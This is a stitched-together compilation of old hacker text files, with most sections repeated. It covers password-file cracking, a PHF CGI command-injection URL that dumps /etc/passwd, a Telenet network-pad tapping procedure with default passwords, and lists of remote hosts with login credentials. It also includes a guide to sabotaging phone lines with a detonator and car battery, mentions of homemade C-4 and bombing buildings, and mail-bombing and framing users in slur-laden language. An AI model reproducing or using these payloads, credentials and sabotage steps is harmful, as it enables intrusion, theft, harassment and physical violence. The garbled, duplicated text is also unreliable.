nobody:x:60001:60001:uid no body:/:
noaccess:x:60002:60002:uid no access:/:
webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh
pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false
ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false
Shadowed password files have an "x" in the place of a password or sometimes
they are disguised as an * as well.
Now that you know a little more about what the actual password file looks
like you should be able to identify a normal encrypted pw from a shadowed
pw file. We can now go on to talk about how to crack it.
Cracking a password file isn't as complicated as it would seem, although the
files vary from system to system. 1.The first step that you would take is
to download or copy the file. 2. The second step is to find a password
cracker and a dictionary maker. Although it's nearly impossible to find a
good cracker there are a few ok ones out there. I recomend that you look
for Cracker Jack, John the Ripper, Brute Force Cracker, or Jack the Ripper.
Now for a dictionary maker or a dictionary file... When you start a
cracking prog you will be asked to find the the password file. That's where
a dictionary maker comes in. You can download one from nearly every hacker
page on the net. A dictionary maker finds all the possible letter
combinations with the alphabet that you choose(ASCII, caps, lowercase, and
numeric letters may also be added) . We will be releasing our pasword file
to the public soon, it will be called, Psychotic Candy, "The Perfect Drug."
As far as we know it will be one of the largest in circulation. 3. You then start up the cracker and follow the directions that it gives
you.
The PHF Technique
Well I wasn't sure if I should include this section due to the fact that
everybody already knows it and most servers have already found out about
the bug and fixed it. But since I have been asked questions about the phf
I decided to include it.
The phf technique is by far the easiest way of getting a password file
(although it doesn't work 95% of the time). But to do the phf all you do
is open a browser and type in the following link:
http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
You replace the webpage_goes_here with the domain. So if you were trying to
get the pw file for www.webpage.com you would type:
http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
and that's it! You just sit back and copy the file(if it works).
The best way to get root is with an exploit. Exploits are explained in the
next chapter.
Getting the Password File Through FTP
Ok well one of the easiest ways of getting superuser access is through
anonymous ftp access into a webpage. First you need learn a little about
the password file...
root:User:d7Bdg:1n2HG2:1127:20:Superuser
TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh
BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh
This is an example of a regular encrypted password file. The Superuser is
the part that gives you root. That's the main part of the file.
root:x:0:1:Superuser:/:
ftp:x:202:102:Anonymous ftp:/u1/ftp:
ftpadmin:x:203:102:ftp Administrator:/u1/ftp
This is another example of a password file, only this one has one little
difference, it's shadowed. Shadowed password files don't let you view or
copy the actual encrypted password. This causes problems for the password
cracker and dictionary maker(both explained later in the text). Below is
another example of a shadowed password file:
root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:uid no body:/:
noaccess:x:60002:60002:uid no access:/:
webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh
pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false
ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false
Shadowed password files have an "x" in the place of a password or sometimes
they are disguised as an * as well.
Now that you know a little more about what the actual password file looks
like you should be able to identify a normal encrypted pw from a shadowed
pw file. We can now go on to talk about how to crack it.
Cracking a password file isn't as complicated as it would seem, although the
files vary from system to system. 1.The first step that you would take is
to download or copy the file. 2. The second step is to find a password
cracker and a dictionary maker. Although it's nearly impossible to find a
good cracker there are a few ok ones out there. I recomend that you look
for Cracker Jack, John the Ripper, Brute Force Cracker, or Jack the Ripper.
Now for a dictionary maker or a dictionary file... When you start a
cracking prog you will be asked to find the the password file. That's where
a dictionary maker comes in. You can download one from nearly every hacker
page on the net. A dictionary maker finds all the possible letter
combinations with the alphabet that you choose(ASCII, caps, lowercase, and
numeric letters may also be added) . We will be releasing our pasword file
to the public soon, it will be called, Psychotic Candy, "The Perfect Drug."
As far as we know it will be one of the largest in circulation. 3. You then start up the cracker and follow the directions that it gives
you.
The PHF Technique
Well I wasn't sure if I should include this section due to the fact that
everybody already knows it and most servers have already found out about
the bug and fixed it. But since I have been asked questions about the phf
I decided to include it.
The phf technique is by far the easiest way of getting a password file
(although it doesn't work 95% of the time). But to do the phf all you do
is open a browser and type in the following link:
http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
You replace the webpage_goes_here with the domain. So if you were trying to
get the pw file for www.webpage.com you would type:
http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
and that's it! You just sit back and copy the file(if it works).
The best way to get root is with an exploit. Exploits are explained in the
next chapter.
How to crash AOL
_--=PeEll=--_ (tm) on:
Fighting back against AOL (Assholes On-Line)
Definition: Today I'm going to show you how to make a system crusher that
should kill any computer without a surgeprotecter on their phone lines, and
some that do.
Materials: model rocket launching detonator (you know what I mean), spare
copper wire, electric tape, a power outlet , and some wire cutters.
First step: Look at your detonator, it should have a status light, a
launch button, and two wires coming out the fron with metallic clips on the
end. Now open up the back and take your batteries out.
Second step: Take some wire and wire one strand of copper to the positive
detector in the detonator. Wire the other end of this to the positive side
of a car battery. Wrap electric tape around it so it shock you later. Now
take another wire and wire it around the negative receptor in the detonator.
**DO NOT CONNECT THIS WIRE TO THE BATTERY**
Third step: You should now have two wires coming out the back of your
detonator, one connected to the battery (positive). Now shred the insulation
off the phone line your modem is connected to (no, not the one going toward
your computer). Attach the metal clips on the fron of your detonator to the
phone line. It will take a bit of experimenting to get them in the right
place.
Fourth step : Dial up an access, and when you connect, turn off your
modem, or unplug the phone line from your computer (not from the wall) unless
you want to blow up your own computer. Now carefully check all connections
in your detonator-battery hookup. With a plastic-lined pair of tweezers,
take the negative wire end and wrap it aroung the receptor on the battery.
Then you probably know what to do:
PRESS THE LAUNCH BUTTON!!!
Targets
Try to kill AOLNet. Sprintnet is better (cause of no tracing, and we are
not fighting Sprint (okay, so we are)). A little advice. Get a laptop, bud
box, and an extension cord, and set this thing up away from where you live.
Other ways
Make some homemade C-4, a detonator, and find when tha number is. Call
tha operator and say you have a fone number and no address. Sound confused.
If that doesn't work them use Jolly Rogers method of getting unlistend
numbers. Then bomb there lines, or just there building.
Uses
You could take out that new 28.8 number, or you could take out that 2400
and force them to make a new number. Chances are they will not make a 2400
bps line. Instead they might make another 28.8 line foe ya.
Mail bombs
Mail bomb Guides, TOSAdvisor, Steve Case, TOS Email1, CJs, and HOSTs and
of course that phag name MajorTom (Tom Lichty tha guy who writes those lame
AOL books), CliffStoll (he caught 5 Russian spies and wrote a book), I hate
him. You will lose an account, but then people can't report you to TOS.
Also mail bomb EVERYONE you can. Make an account named like JDoe232978, walk
into a public room (or even better, one of those damn faggot rooms like
M4M4Heat). Just pick a person at random or see which one is tha most phagish
and set your mail bomber at 550. Make tha subject like NEVER ASK FOR MY
PASSWORD!!! Something to make it look like they did something wrong. This
also helps to keep them from reporting you to TOS, and if they do, their mail
box is full. Then let it go. This is not to cause trouble with that person
(okay, so it is) it is to stresses out AOLs mail system. That is why there
are Ghosts, people with tha name Error, or when you are in a PR and 24+
people are there. That is why chain letters is a "Violation of the Terms of
Service." Oh, bite me.
Aqua boxs
AOL is trying to develop a type of Lock and Trace traps like tha F.B.I.
uses. It would be a good ideal to make an aqua box. When I make aqua boxes
I hook it up to another computer or to a Sega, Nintendo, etc. Just to have
tha knowledge that I am playing games with tha Feds.
TOSing
Get a GOOD TOSer. One that works and you canc change what it says.
Menace II AOL is my choice. Tha PW is OL' Dirty Bastard. I also use AOF
(America Off-Line) IM manipulation (it still works) and IM myself anything.
Then I manip. someone who I dislike. Copy it by hitting CRTL+C and then IM a
Guide that is on. Ask him if whoever is on that if XXXXXXX is with tha
billing department. Lead them on. They will ask if he asked foe your PW.
Say yes and hit CRTL+V to paste it there after he explains how to copy and
paste. Make it look like you are lame and new to AOL. Send him tha
manipulated text and he will TOS him/her. Make SuRe that tha person you are
TOSing is on. Have a FrankD8981 kinda name.
That is it. Do this to bring AOL to their knees. DON'T GIVE THIS TO AOL
STAFF!!!
Fighting back against AOL (Assholes On-Line)
Definition: Today I'm going to show you how to make a system crusher that
should kill any computer without a surgeprotecter on their phone lines, and
some that do.
Materials: model rocket launching detonator (you know what I mean), spare
copper wire, electric tape, a power outlet , and some wire cutters.
First step: Look at your detonator, it should have a status light, a
launch button, and two wires coming out the fron with metallic clips on the
end. Now open up the back and take your batteries out.
Second step: Take some wire and wire one strand of copper to the positive
detector in the detonator. Wire the other end of this to the positive side
of a car battery. Wrap electric tape around it so it shock you later. Now
take another wire and wire it around the negative receptor in the detonator.
**DO NOT CONNECT THIS WIRE TO THE BATTERY**
Third step: You should now have two wires coming out the back of your
detonator, one connected to the battery (positive). Now shred the insulation
off the phone line your modem is connected to (no, not the one going toward
your computer). Attach the metal clips on the fron of your detonator to the
phone line. It will take a bit of experimenting to get them in the right
place.
Fourth step : Dial up an access, and when you connect, turn off your
modem, or unplug the phone line from your computer (not from the wall) unless
you want to blow up your own computer. Now carefully check all connections
in your detonator-battery hookup. With a plastic-lined pair of tweezers,
take the negative wire end and wrap it aroung the receptor on the battery.
Then you probably know what to do:
PRESS THE LAUNCH BUTTON!!!
Targets
Try to kill AOLNet. Sprintnet is better (cause of no tracing, and we are
not fighting Sprint (okay, so we are)). A little advice. Get a laptop, bud
box, and an extension cord, and set this thing up away from where you live.
Other ways
Make some homemade C-4, a detonator, and find when tha number is. Call
tha operator and say you have a fone number and no address. Sound confused.
If that doesn't work them use Jolly Rogers method of getting unlistend
numbers. Then bomb there lines, or just there building.
Uses
You could take out that new 28.8 number, or you could take out that 2400
and force them to make a new number. Chances are they will not make a 2400
bps line. Instead they might make another 28.8 line foe ya.
Mail bombs
Mail bomb Guides, TOSAdvisor, Steve Case, TOS Email1, CJs, and HOSTs and
of course that phag name MajorTom (Tom Lichty tha guy who writes those lame
AOL books), CliffStoll (he caught 5 Russian spies and wrote a book), I hate
him. You will lose an account, but then people can't report you to TOS.
Also mail bomb EVERYONE you can. Make an account named like JDoe232978, walk
into a public room (or even better, one of those damn faggot rooms like
M4M4Heat). Just pick a person at random or see which one is tha most phagish
and set your mail bomber at 550. Make tha subject like NEVER ASK FOR MY
PASSWORD!!! Something to make it look like they did something wrong. This
also helps to keep them from reporting you to TOS, and if they do, their mail
box is full. Then let it go. This is not to cause trouble with that person
(okay, so it is) it is to stresses out AOLs mail system. That is why there
are Ghosts, people with tha name Error, or when you are in a PR and 24+
people are there. That is why chain letters is a "Violation of the Terms of
Service." Oh, bite me.
Aqua boxs
AOL is trying to develop a type of Lock and Trace traps like tha F.B.I.
uses. It would be a good ideal to make an aqua box. When I make aqua boxes
I hook it up to another computer or to a Sega, Nintendo, etc. Just to have
tha knowledge that I am playing games with tha Feds.
TOSing
Get a GOOD TOSer. One that works and you canc change what it says.
Menace II AOL is my choice. Tha PW is OL' Dirty Bastard. I also use AOF
(America Off-Line) IM manipulation (it still works) and IM myself anything.
Then I manip. someone who I dislike. Copy it by hitting CRTL+C and then IM a
Guide that is on. Ask him if whoever is on that if XXXXXXX is with tha
billing department. Lead them on. They will ask if he asked foe your PW.
Say yes and hit CRTL+V to paste it there after he explains how to copy and
paste. Make it look like you are lame and new to AOL. Send him tha
manipulated text and he will TOS him/her. Make SuRe that tha person you are
TOSing is on. Have a FrankD8981 kinda name.
That is it. Do this to bring AOL to their knees. DON'T GIVE THIS TO AOL
STAFF!!!
TCP packet fragment attacks against firewalls and filters
***********************************************************************
ADVISORY: TCP packet fragment attacks against firewalls and filters
System: TCP/IP networks
Source: http://all.net, Dr. Frederick B. Cohen
***********************************************************************
Packet Fragmentation Attacks
Introduction to Packet Fragmentation
Packet fragmentation is the part of the Internet Protocol (IP) suite of
networking protocols that assures that IP datagrams can flow through any
other sort of network. (For details, see Internet Request For Comments 791
(rfc791) and are available and searchable in electronic form from Info-Sec
heaven on the World-Wide-Web at http://all.net, through gopher service at
all.net, or by ftp service from rs.internic.net.) Fragmentation works by
allowing datagrams created as a single packet to be split into many smaller
packets for transmission and reassembled at the receiving host.
Packet fragmentation is necessary because underlying the IP protocol, other
physical and or logical protocols are used to transport packets through
networks. A good example of this phenomena is on the difference between
Ethernet packets (which are limited to 1024 bytes), ATM packets (which are
limited to 56 bytes), and IP packets which have variable sizes up to about
1/2 million bytes in length.
The only exception to this rule is in the case of an internet datagram
marked don't fragment . Any internet datagram marked in this way is
supposed to not be fragmented under any circumstances. If internet
datagrams marked don't fragment cannot be delivered to their destination
without being fragmented, they are supposed to be discarded instead. Of
course, this rule doesn't have to be obeyed by the IP software actually
processing packets, but it is supposed to be.
How Packet Reassembly Attacks Work
The packet fragmentation mechanism leads to attacks that bypass many
current Internet firewalls, but the reason these attacks work is not
because of the way fragmentation is done, but rather because of the way
datagrams are reassembled.
Datagrams are supposed to be fragmented into packets that leave the header
portion of the packet intact except for the modification of the fragmented
packet bit and the filling in of an offset field in the IP header that
indicates at which byte in the whole datagram the current packet is
supposed to start. In reassembly, the IP reassembler creates a temporary
packet with the fragmented part of the datagram in place and adds incoming
fragments by placing their data fields at the specified offsets within the
datagram being reassembled. Once the whole datagram is reassembled, it is
processed as if it came in as a single packet.
According to the IP specification, fragmented packets are to be reassembled
at the receiving host. This presumably means that they are not supposed to
be reassembled at intermediate sites such as firewalls or routers. This
decision was made presumably to prevent repeated reassembly and
refragmentation in intermediate networks. When routers and firewalls
followed the rules, they found a peculiar problem.
The way firewalls and routers block specific services (such as telnet )
while allowing other services (such as the world wide web http service) is
by looking into the IP packet to determine which Transfer Control Protocol
(TCP) port is being used. If the port corresponds to 80, the datagram is
destined for http service, while port 23 is used for telnet . In normal
datagrams, this works fine. But suppose we didn't follow the rules for
fragmentation and created improper fragmented packets? Here's what one
attacker did:
* Create an initial packet which claims to be the first fragment of a
multi-packet datagram. Specify TCP port 80 in the TCP header so it
looks like a datagram going to http service, which is allowed to pass
the firewall.
* The firewall passes the packet to the host under attack and passes
subsequent packet fragments in order to allow the destination host to
reassemble the packet.
* One of the subsequent packets has an offset of 0 which causes the
reassembler to overwrite the initial part of the IP packet. This is
the part of the IP packet that specifies the TCP port. The attacker
overwrites the IP port number which was originally 80 with a new port
number such as 23, and is now granted telnet access to the host under
attack despite the firewall that is supposed to block the service.
ADVISORY: TCP packet fragment attacks against firewalls and filters
System: TCP/IP networks
Source: http://all.net, Dr. Frederick B. Cohen
***********************************************************************
Packet Fragmentation Attacks
Introduction to Packet Fragmentation
Packet fragmentation is the part of the Internet Protocol (IP) suite of
networking protocols that assures that IP datagrams can flow through any
other sort of network. (For details, see Internet Request For Comments 791
(rfc791) and are available and searchable in electronic form from Info-Sec
heaven on the World-Wide-Web at http://all.net, through gopher service at
all.net, or by ftp service from rs.internic.net.) Fragmentation works by
allowing datagrams created as a single packet to be split into many smaller
packets for transmission and reassembled at the receiving host.
Packet fragmentation is necessary because underlying the IP protocol, other
physical and or logical protocols are used to transport packets through
networks. A good example of this phenomena is on the difference between
Ethernet packets (which are limited to 1024 bytes), ATM packets (which are
limited to 56 bytes), and IP packets which have variable sizes up to about
1/2 million bytes in length.
The only exception to this rule is in the case of an internet datagram
marked don't fragment . Any internet datagram marked in this way is
supposed to not be fragmented under any circumstances. If internet
datagrams marked don't fragment cannot be delivered to their destination
without being fragmented, they are supposed to be discarded instead. Of
course, this rule doesn't have to be obeyed by the IP software actually
processing packets, but it is supposed to be.
How Packet Reassembly Attacks Work
The packet fragmentation mechanism leads to attacks that bypass many
current Internet firewalls, but the reason these attacks work is not
because of the way fragmentation is done, but rather because of the way
datagrams are reassembled.
Datagrams are supposed to be fragmented into packets that leave the header
portion of the packet intact except for the modification of the fragmented
packet bit and the filling in of an offset field in the IP header that
indicates at which byte in the whole datagram the current packet is
supposed to start. In reassembly, the IP reassembler creates a temporary
packet with the fragmented part of the datagram in place and adds incoming
fragments by placing their data fields at the specified offsets within the
datagram being reassembled. Once the whole datagram is reassembled, it is
processed as if it came in as a single packet.
According to the IP specification, fragmented packets are to be reassembled
at the receiving host. This presumably means that they are not supposed to
be reassembled at intermediate sites such as firewalls or routers. This
decision was made presumably to prevent repeated reassembly and
refragmentation in intermediate networks. When routers and firewalls
followed the rules, they found a peculiar problem.
The way firewalls and routers block specific services (such as telnet )
while allowing other services (such as the world wide web http service) is
by looking into the IP packet to determine which Transfer Control Protocol
(TCP) port is being used. If the port corresponds to 80, the datagram is
destined for http service, while port 23 is used for telnet . In normal
datagrams, this works fine. But suppose we didn't follow the rules for
fragmentation and created improper fragmented packets? Here's what one
attacker did:
* Create an initial packet which claims to be the first fragment of a
multi-packet datagram. Specify TCP port 80 in the TCP header so it
looks like a datagram going to http service, which is allowed to pass
the firewall.
* The firewall passes the packet to the host under attack and passes
subsequent packet fragments in order to allow the destination host to
reassemble the packet.
* One of the subsequent packets has an offset of 0 which causes the
reassembler to overwrite the initial part of the IP packet. This is
the part of the IP packet that specifies the TCP port. The attacker
overwrites the IP port number which was originally 80 with a new port
number such as 23, and is now granted telnet access to the host under
attack despite the firewall that is supposed to block the service.
Telenet-The Secret Exposed
Telenet The Secret Exposed...
For years, people and myself, have offtend tried to"work telenet unto a coma"..
With no success, for the past few years, i have gathered data, and finally
know the system, its faults, capabilities, and errors.
This really should be in a text file, but. i wish this information to
be reserved for the few users on this system.
before i start, here are a few basic commands to get famialir with:
Execution syntax of command function
------------------------------------------------------------------------
Connect c (sp) Connects to a host (opt)
Status stat Displays network port add
Full-Duplex full network echo
Half-Duplex half Termnial echo
Mail
or
Telemail mail telemail telemail
set Parmaters set (sp) 2:0,3:2 Select Pad Parameters
Read Paramaters par? par?(sp)2:0,3:2 display pad
Set and read
Paramaters set?(sp)2:0,3:2
escape escape from data modew
File Trasnfer dtape Prepares network for bulk
continue cont
disconnect bye or d
hang up hangup
terminial term(sp)d1 Set TERM
test
test(sp)char
test(sp)echo
test(sp)triangle
this is the end of the commands, view next msg for useage:
Trap and pipe x.25 prot. (telenet)...
Please note this is a very difficult transaction... The following
flow chart, will only work on a machine with atleast 10 Mhz..
However, an account on a unix, with cu capabilities will also work..
Package networking, is exactly what it means..
before, i go into detail, let me give you and over view...
-------------
Host
-------------
!
!
!
!
-----------------
telenet, remote
$ divertor, and
pacakge.
------------------
!
!
---------------------
! ! ! !
! ! ! !
u u u u
s s s s
e e e e
r r r r
s s s s
If you notice carefully, there is online to the host and 4 users. That
is how its packaged, for instance the first 100 mills. will be from user
on then two etc.. The way telenet can tell which is user is which, is
simply by the time. Time is of the essense. data is constantly been
packed, anywhere from 100 mils. to 760 mils. The trick to trap tapping
and piping, a lead off of telenet, is to have as system running four
proccewss and the same time, and have a master prgm. that switch's at
the appropriate delays... As you can see this is where a 10 Mhz +
system, is needed.
On the host end.
The host end consists of three things..
1) 9600 baud modem
2) a dedicated telcue line
3) a network pad..
I doubt know one needs a lesson on the first two, but lets take a look
at telenets, "weakest" link..
Network Pad
----------
There are three types of network pads a 4 pad 12 pad and 32 pad
They really do not make a diffrence, it only changes the amount
of users, capable of using on line..
example. if you have a 4 network pad. you system will be able to handle
four users from telenet etc...
The network pad is Such a piece of"shit you have know idea..
All parameters are set remotly by a telenet eng..
This is important...
If the pad is every shutoff all parameters are lost.. and an eng. must
reload the pad.. (again, this is done remotly)
to give you a small ifea, of$the amount of programing in thms pad (which
i might add has over 2 megs of internal RAM) for an eng. to upload it ct
9600 bps.. it took approx 38 mins.
The Pad is not a computer, if ytou think about it though, if your
traveling at 1200 on telenet, your actually travling at 9600 and back to
1200.. when x.25 is unpacked..
How is the pad set remotly..
lets take an example...
c 2122
now c 2122 /(?this is an example)
ha four nodes its a siml divester to the next node. however you can
specify, the node you want
c"212.01
c 212.02
etc....
nodes can also"be stated as 2122a is the same as "2122.01
and 2122.03 is the same as 2122c
Now that we know how to access the indiv. nodes. let me show you a small
secret...
Theres a programing node.. so an eng. can upload, to your network pad..
every address has it...
it always ends in 99
so, if i wanted to trap and tap c 2122
i would enter c 2122.99
you would get a connected.. but is you notice nothin happens..
at this point do not touch any keys.. a wrong key stroke, will
most likely alert someone to your tampering..
(dont forget, all network pads have a direct alarm signle.. so follow my
directions to the t...
enter in :
with out a return.. you should get telenet
if you dont give it a min. then hit return. your actually there. but the
prompt, just didnt print.. ok..
Now type
set 15:0
when entered.. hold 15 secs.. for a time delay..
then type in cont
to continue, with the host you brokg from.....
you will get a message:
TP3005 DEBUG PORT V5.37.03
>
your now, directly accessed the network pad..
Please note some of these have passwords:
However
if your prompted for a password, of if nothing happens:
telenet has two standard passwords:
superman
represeting a male tech.
and
$ wonderwomen
repre. a woman tech..
when in your prompt is always a greater than sign:
>
type the following:
7FDS
HIT RETURN
youll get a responce: $ E 01
NOW TYPE IN:
L7FE,L,A2,R2,D
then youll get a message: R 00A626 8805
now enter ing: 40588
YOUR RESPONCE WILL BE : E 01
right now you should open at least a 640K buffer.....
now type in > R0589
YOU'LL GET A WHOLE LIST OF DATA THAT IS CURRENTLY CROSSING THE PADS
DUPLEX.
ONE LINE WILL LOOK LIKE THIS:
R 00A625 06805FF17068703 1287100230050540 0000000000000000 FF020101000000
þ"&]%%+f! ! )19AIQYai
ÿIt seems that not many of you know that Telenet is connected to about 80
computer-networks in the world. No, I don't mean 80 nodes, but 80 networks
with thousands of unprotected computers. When you call your local Telenet-
gateway, you can only call those computers which accept reverse-charging-calls.
If you want to call computers in foreign countries or computers in USA which
do not accept R-calls, you need a Telenet-ID. Did you ever notice that you can
type ID XXXX when being connected to Telenet? You are then asked for the
password. If you have such a NUI (Network-User-ID) you can call nearly every
host connected to any computer-network in the world. Here are some examples:
026245400090184 is a VAX in Germany (Username: DATEXP and leave mail for
CHRIS !!!)
0311050500061 is the Los Alamos Integrated computing network (One of the
hosts connected to it is the DNA (Defense Nuclear Agency)!!!)
0530197000016 is a BBS in New Zealand
024050256 is the S-E-Bank in Stockholm, Sweden (Login as GAMES !!!)
02284681140541 CERN in Geneva in Switzerland (one of the biggest nuclear
research centers in the world) Login as GUEST
0234212301161 A Videotex-standard system. Type OPTEL to get in and
use the ID 999_ with the password 9_
0242211000001 University of Oslo in Norway (Type LOGIN 17,17 to play
the Multi-User-Dungeon !)
0425130000215 Something like ITT Dialcom, but this one is in Israel !
ID HELP with password HELP works fine with security level 3
0310600584401 is the Washington Post News Service via Tymnet (Yes, Tymnet
is connected to Telenet, too !) ID and Password is: PETER
You can read the news of the next day !
The prefixes are as follows:
02624 is Datex-P in Germany
02342 is PSS in England
03110 is Telenet in USA
03106 is Tymnet in USA
02405 is Telepak in Sweden
04251 is Isranet in Israel
02080 is Transpac in France
02284 is Telepac in Switzerland
02724 is Eirpac in Ireland
02704 is Luxpac in Luxembourg
05252 is Telepac in Singapore
04408 is Venus-P in Japan
...and so on... Some of the countries have more than one packet-switching-
network (USA has 11, Canada has 3, etc).
OK. That should be enough for the moment. As you see most of the passwords
are very simple. This is because they must not have any fear of hackers. Only
a few German hackers use these networks. Most of the computers are absolutely
easy to hack !!!
So, try to find out some Telenet-ID's and leave them here. If you need more
numbers, leave e-mail.
I'm calling from Germany via the German Datex-P network, which is similar to
Telenet. We have a lot of those NUI's for the German network, but none for
a special Tymnet-outdial-computer in USA, which connects me to any phone #.
CUL8R, Mad Max
PS: Call 026245621040000 and type ID INF300 with password DATACOM to get more
Informations on packet-switching-networks !
PS2: The new password for the Washington Post is KING !!!!
Distributed in part by:
Skeleton Crue xxx-xxx-xxxx located out of Moraga, California.
!!Get on the band wagon before it RUNS YOU DOWN!!
The very LAST bastion of Abusive Thought in all of the Suburbian West Coast...
(CH&AOS)
For years, people and myself, have offtend tried to"work telenet unto a coma"..
With no success, for the past few years, i have gathered data, and finally
know the system, its faults, capabilities, and errors.
This really should be in a text file, but. i wish this information to
be reserved for the few users on this system.
before i start, here are a few basic commands to get famialir with:
Execution syntax of command function
------------------------------------------------------------------------
Connect c (sp) Connects to a host (opt)
Status stat Displays network port add
Full-Duplex full network echo
Half-Duplex half Termnial echo
or
Telemail mail telemail telemail
set Parmaters set (sp) 2:0,3:2 Select Pad Parameters
Read Paramaters par? par?(sp)2:0,3:2 display pad
Set and read
Paramaters set?(sp)2:0,3:2
escape escape from data modew
File Trasnfer dtape Prepares network for bulk
continue cont
disconnect bye or d
hang up hangup
terminial term(sp)d1 Set TERM
test
test(sp)char
test(sp)echo
test(sp)triangle
this is the end of the commands, view next msg for useage:
Trap and pipe x.25 prot. (telenet)...
Please note this is a very difficult transaction... The following
flow chart, will only work on a machine with atleast 10 Mhz..
However, an account on a unix, with cu capabilities will also work..
Package networking, is exactly what it means..
before, i go into detail, let me give you and over view...
-------------
Host
-------------
!
!
!
!
-----------------
telenet, remote
$ divertor, and
pacakge.
------------------
!
!
---------------------
! ! ! !
! ! ! !
u u u u
s s s s
e e e e
r r r r
s s s s
If you notice carefully, there is online to the host and 4 users. That
is how its packaged, for instance the first 100 mills. will be from user
on then two etc.. The way telenet can tell which is user is which, is
simply by the time. Time is of the essense. data is constantly been
packed, anywhere from 100 mils. to 760 mils. The trick to trap tapping
and piping, a lead off of telenet, is to have as system running four
proccewss and the same time, and have a master prgm. that switch's at
the appropriate delays... As you can see this is where a 10 Mhz +
system, is needed.
On the host end.
The host end consists of three things..
1) 9600 baud modem
2) a dedicated telcue line
3) a network pad..
I doubt know one needs a lesson on the first two, but lets take a look
at telenets, "weakest" link..
Network Pad
----------
There are three types of network pads a 4 pad 12 pad and 32 pad
They really do not make a diffrence, it only changes the amount
of users, capable of using on line..
example. if you have a 4 network pad. you system will be able to handle
four users from telenet etc...
The network pad is Such a piece of"shit you have know idea..
All parameters are set remotly by a telenet eng..
This is important...
If the pad is every shutoff all parameters are lost.. and an eng. must
reload the pad.. (again, this is done remotly)
to give you a small ifea, of$the amount of programing in thms pad (which
i might add has over 2 megs of internal RAM) for an eng. to upload it ct
9600 bps.. it took approx 38 mins.
The Pad is not a computer, if ytou think about it though, if your
traveling at 1200 on telenet, your actually travling at 9600 and back to
1200.. when x.25 is unpacked..
How is the pad set remotly..
lets take an example...
c 2122
now c 2122 /(?this is an example)
ha four nodes its a siml divester to the next node. however you can
specify, the node you want
c"212.01
c 212.02
etc....
nodes can also"be stated as 2122a is the same as "2122.01
and 2122.03 is the same as 2122c
Now that we know how to access the indiv. nodes. let me show you a small
secret...
Theres a programing node.. so an eng. can upload, to your network pad..
every address has it...
it always ends in 99
so, if i wanted to trap and tap c 2122
i would enter c 2122.99
you would get a connected.. but is you notice nothin happens..
at this point do not touch any keys.. a wrong key stroke, will
most likely alert someone to your tampering..
(dont forget, all network pads have a direct alarm signle.. so follow my
directions to the t...
enter in :
with out a return.. you should get telenet
if you dont give it a min. then hit return. your actually there. but the
prompt, just didnt print.. ok..
Now type
set 15:0
when entered.. hold 15 secs.. for a time delay..
then type in cont
to continue, with the host you brokg from.....
you will get a message:
TP3005 DEBUG PORT V5.37.03
>
your now, directly accessed the network pad..
Please note some of these have passwords:
However
if your prompted for a password, of if nothing happens:
telenet has two standard passwords:
superman
represeting a male tech.
and
$ wonderwomen
repre. a woman tech..
when in your prompt is always a greater than sign:
>
type the following:
7FDS
HIT RETURN
youll get a responce: $ E 01
NOW TYPE IN:
L7FE,L,A2,R2,D
then youll get a message: R 00A626 8805
now enter ing: 40588
YOUR RESPONCE WILL BE : E 01
right now you should open at least a 640K buffer.....
now type in > R0589
YOU'LL GET A WHOLE LIST OF DATA THAT IS CURRENTLY CROSSING THE PADS
DUPLEX.
ONE LINE WILL LOOK LIKE THIS:
R 00A625 06805FF17068703 1287100230050540 0000000000000000 FF020101000000
þ"&]%%+f! ! )19AIQYai
ÿIt seems that not many of you know that Telenet is connected to about 80
computer-networks in the world. No, I don't mean 80 nodes, but 80 networks
with thousands of unprotected computers. When you call your local Telenet-
gateway, you can only call those computers which accept reverse-charging-calls.
If you want to call computers in foreign countries or computers in USA which
do not accept R-calls, you need a Telenet-ID. Did you ever notice that you can
type ID XXXX when being connected to Telenet? You are then asked for the
password. If you have such a NUI (Network-User-ID) you can call nearly every
host connected to any computer-network in the world. Here are some examples:
026245400090184 is a VAX in Germany (Username: DATEXP and leave mail for
CHRIS !!!)
0311050500061 is the Los Alamos Integrated computing network (One of the
hosts connected to it is the DNA (Defense Nuclear Agency)!!!)
0530197000016 is a BBS in New Zealand
024050256 is the S-E-Bank in Stockholm, Sweden (Login as GAMES !!!)
02284681140541 CERN in Geneva in Switzerland (one of the biggest nuclear
research centers in the world) Login as GUEST
0234212301161 A Videotex-standard system. Type OPTEL to get in and
use the ID 999_ with the password 9_
0242211000001 University of Oslo in Norway (Type LOGIN 17,17 to play
the Multi-User-Dungeon !)
0425130000215 Something like ITT Dialcom, but this one is in Israel !
ID HELP with password HELP works fine with security level 3
0310600584401 is the Washington Post News Service via Tymnet (Yes, Tymnet
is connected to Telenet, too !) ID and Password is: PETER
You can read the news of the next day !
The prefixes are as follows:
02624 is Datex-P in Germany
02342 is PSS in England
03110 is Telenet in USA
03106 is Tymnet in USA
02405 is Telepak in Sweden
04251 is Isranet in Israel
02080 is Transpac in France
02284 is Telepac in Switzerland
02724 is Eirpac in Ireland
02704 is Luxpac in Luxembourg
05252 is Telepac in Singapore
04408 is Venus-P in Japan
...and so on... Some of the countries have more than one packet-switching-
